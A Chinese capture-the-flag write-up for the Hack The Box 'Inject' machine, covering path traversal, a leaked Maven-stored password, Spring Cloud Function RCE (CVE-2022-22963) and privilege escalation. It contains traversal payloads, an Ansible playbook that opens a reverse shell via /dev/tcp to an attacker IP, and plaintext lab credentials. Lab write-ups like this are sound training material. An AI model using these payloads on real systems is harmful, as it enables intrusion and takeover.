HTB 季度靶机

admin 2023年3月16日23:42:54评论118 views字数 6289阅读20分57秒阅读模式

HTB 季度靶机 - Inject (Easy, not so easy)

朋友们看看知识点就好,ansible playbook 第一次见,天生带个 PE 后门哦~

0x00

端口

             HTB 季度靶机

难道说。。。

HTB 季度靶机

文件上传点 - AFR+目录遍历

HTB 季度靶机

上传完成后会返回访问地址,居然是参数化的:

最短的目录穿越是 ../../../../../../etc/passwd,六层。

/etc/passwd

HTB 季度靶机

root:x:0:0:root:/root:/bin/bash                
               
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                
               
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                
               
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false                
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin                
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin                
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin                
pollinate:x:110:1::/var/cache/pollinate:/bin/false                
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin                
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin                
               
frank:x:1000:1000:frank:/home/frank:/bin/bash                
               
phil:x:1001:1001::/home/phil:/bin/bash                
               
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

frank 和 phil 用户比较可疑。

经过尝试,网站的权限应该就是 www-data,无法访问两个用户家目录的文件。

信息收集

sshd 配置

phil 用户不允许 ssh 登录

HTB 季度靶机

/proc/self

cwd

HTB 季度靶机

exe - java 应用,那估计是 tomcat

HTB 季度靶机

root - 发现目录遍历

到这里我才发现有目录遍历。。。

HTB 季度靶机

HTB 季度靶机

HTB 季度靶机

应用本身就有目录遍历的功能?

HTB 季度靶机

HTB 季度靶机

没有直接读取的权限。

/home/frank/.m2/settings.xml - phil 的密码

HTB 季度靶机

Maven 配置文件 参考文档1

             
                             
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">                
                                 
                                   
                     Inject                
                     phil                
                     DocPhillovestoInject123                
                     ${user.home}/.ssh/id_dsa                
                     660                
                     660                
                                     
                   
                 

遍历 Java 应用开发目录

/var/www - 源码目录

build 出来的 jar 包比较大,先不下载,目录遍历去找代码(应该不会很多)。

HTB 季度靶机

User.java

HTB 季度靶机

UserController.java

看来是要利用上传点来覆盖配置文件,那么第一想法就是给 frank 写公钥,但是有一些校验绕不过去(比如那个斜杠检查)。

HTB 季度靶机

pom.xml - 查看 Maven 依赖及其版本 - 找 CVE

HTB 季度靶机

               
                                 
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">                  
                     4.0.0                  
                                       
                         org.springframework.boot                  
                         spring-boot-starter-parent                  
                         2.6.5                  
                                           
                     
                     com.example                  
                     WebApp                  
                     0.0.1-SNAPSHOT                  
                     WebApp                  
                     Demo project for Spring Boot                  
                                       
                         11                  
                     
                                       
                                           
                             com.sun.activation                  
                             javax.activation                  
                             1.2.0                  
                         
                 
                                           
                             org.springframework.boot                  
                             spring-boot-starter-thymeleaf                  
                         
                                           
                             org.springframework.boot                  
                             spring-boot-starter-web                  
                         
                 
                                           
                             org.springframework.boot                  
                             spring-boot-devtools                  
                             runtime                  
                             true                  
                         
                 
                                           
                             org.springframework.cloud                  
                             spring-cloud-function-web                  
                             3.2.2                  
                         
                                           
                             org.springframework.boot                  
                             spring-boot-starter-test                  
                             test                  
                         
                                           
                             org.webjars                  
                             bootstrap                  
                             5.1.3                  
                         
                                           
                             org.webjars                  
                             webjars-locator-core                  
                         
                 
                     
                                       
                                           
                                               
                                 org.springframework.boot                  
                                 spring-boot-maven-plugin                  
                                 ${parent.version}                  
                             
                         
                         spring-webapp                  
                     
                 

CVE-2022-22963 - spring cloud function rce

HTB 季度靶机

HTB 季度靶机

命令执行稍有困难

先上传脚本:

HTB 季度靶机

然后执行脚本:

HTB 季度靶机

HTB 季度靶机

登录 phil - user-flag

su

su 切换用户后,应该是终端分配的问题,终端的输出并没有显示出来。但是盲着执行命令,把 flag 写入文件是可以的。

HTB 季度靶机

HTB 季度靶机

998685ee5024787560ceeea8535e5618

同样的方式再执行一次 反弹 shell,弹到一个新端口:

HTB 季度靶机

提权: phil -> root

前面得到过 phil 的密码:DocPhillovestoInject123

export TERM=xterm

这个命令指示用来让反弹 shell 支持颜色显示(ANSI 转移序列),当然,也要注意本机终端是否支持(ansicon powershell)。

/usr/bin/script -qc /bin/bash /dev/null                
export TERM=xterm

id 命令 - 注意用户所属组

phil 用户有一个额外的用户组:

HTB 季度靶机

查找属于 staff 用户组的文件,发现 /opt/automation/tasks,因为目录名存在“自动化”字眼:

find / -group staff 2>/dev/null

结果:

/opt/automation/tasks                
/root                
/var/local                
/usr/local/lib/python3.8                
/usr/local/lib/python3.8/dist-packages                
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER                
/usr/local/lib/python3.8/dist-packages/__pycache__                
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc                
/usr/local/share/fonts                
/usr/local/share/fonts/.uuid

flag

该目录下存在一个 yaml 文件:

HTB 季度靶机

经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:

---                
- name: Update web servers                
  hosts: localhost                
  remote_user: root                
                 
  tasks:                
  - name: aha                
    shell: bash -c 'exec bash -i &>/dev/tcp/10.10.14.16/8002 <&1'

ansible-playbook xxx.yml

phil 用户执行上述命令可以直接拿到 root 的 shell。

HTB 季度靶机

TODO为什么直接拿到 root 权限呢?

对该问题可以参考一些资料(我找了没看,麻烦看懂的人给我讲讲 xD):

https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html

如果你也想玩 HTB,那请加入我们吧,我们针对季度靶机有个小交流群。


1.文档

 https://maven.apache.org/settings.html

 

原文始发于微信公众号(WIN哥学安全):HTB 季度靶机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月16日23:42:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB 季度靶机http://cn-sec.com/archives/1608696.html

发表评论

匿名网友 填写信息